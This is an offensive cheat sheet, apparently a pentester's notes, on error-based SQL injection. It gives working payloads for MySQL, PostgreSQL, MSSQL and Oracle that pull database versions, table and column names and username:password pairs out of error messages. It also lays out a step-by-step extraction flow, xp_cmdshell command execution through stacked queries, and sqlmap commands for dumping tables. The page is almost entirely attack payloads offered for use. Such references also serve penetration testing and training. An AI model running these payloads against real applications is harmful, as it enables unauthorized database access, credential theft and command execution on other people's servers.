Error-Based SQL Injection
Error-based is the fastest path to data extraction - the database literally tells you what you asked. If I get a raw DB error in the response, I skip straight here before messing with blind techniques.
Confirming the Injection
-- Inject a syntax error and look for DB error messages
'
''
' AND EXTRACTVALUE(1,1)--If you see something like You have an error in your SQL syntax near... or ORA-00933: SQL command not properly ended - you're in business.
MySQL - Extraction via Error
EXTRACTVALUE
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))--
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user()),0x7e))--
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT database()),0x7e))--
-- Dump table names
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),0x7e))--
-- Dump column names
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),0x7e))--
-- Dump data
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM users LIMIT 0,1),0x7e))--UPDATEXML
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT version()),0x7e),1)--
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e),1)--GROUP BY / FLOOR (older MySQL)
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--PostgreSQL - Extraction via Error
CAST Type Error
' AND CAST((SELECT version()) AS int)--
-- Returns: invalid input syntax for integer: "PostgreSQL 14.2..."
' AND 1=CAST((SELECT table_name FROM information_schema.tables LIMIT 1) AS int)--
' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--pg_input_is_valid (PostgreSQL 16+)
Newer error functions. But CAST is reliable across all versions.
MSSQL - Extraction via Error
CONVERT / CAST
' AND CONVERT(int,(SELECT TOP 1 name FROM sysobjects WHERE xtype='U'))--
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
' AND 1=CONVERT(int,db_name())--
' AND 1=CONVERT(int,user_name())--
-- Dump credentials
' AND 1=CONVERT(int,(SELECT TOP 1 CONCAT(username,':',password) FROM users))--Stacked Queries (MSSQL allows by default)
'; SELECT name FROM sysobjects WHERE xtype='U'--
'; EXEC xp_cmdshell('whoami')-- -- if xp_cmdshell is enabledOracle - Extraction via Error
' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT banner FROM v$version WHERE ROWNUM=1))--
-- CTXSYS.DRITHSX.SN - produces error with data
' AND 1=CTXSYS.DRITHSX.SN(user,(SELECT banner FROM v$version WHERE ROWNUM=1))--
-- XMLType
' AND (SELECT UPPER(XMLType(CHR(60)||CHR(58)||(SELECT banner FROM v$version WHERE ROWNUM=1)||CHR(62))) FROM dual)--Extraction Strategy - Step by Step
flowchart TD A[Confirm Error-Based] --> B[Get DB Version / User / DB Name] B --> C[List Databases / Schemas] C --> D[List Tables in Target DB] D --> E[List Columns in Interesting Table] E --> F[Dump Data]
MySQL Full Extraction Flow
-- 1. Version
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version())))--
-- 2. Current DB
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT database())))--
-- 3. All tables (group_concat for multiple)
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT group_concat(table_name SEPARATOR ',') FROM information_schema.tables WHERE table_schema=database())))--
-- 4. Columns in users table
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users')))--
-- 5. Dump creds (first row)
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM users LIMIT 0,1)))--
-- 6. Next row - increment OFFSET
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM users LIMIT 1,1)))--EXTRACTVALUE Length Limit
EXTRACTVALUE truncates at 32 characters. For longer values:
-- Use SUBSTR to paginate
' AND EXTRACTVALUE(1,CONCAT(0x7e,SUBSTR((SELECT password FROM users LIMIT 0,1),1,32)))--
' AND EXTRACTVALUE(1,CONCAT(0x7e,SUBSTR((SELECT password FROM users LIMIT 0,1),33,32)))--sqlmap Error-Based Mode
# Force error-based technique
sqlmap -u "https://target.com/item?id=1" --technique=E --dbs --batch
# Dump specific table
sqlmap -u "https://target.com/item?id=1" --technique=E -D mydb -T users --dump --batchRelated
- SQLi Overview
- Blind - when errors are suppressed
- Second-Order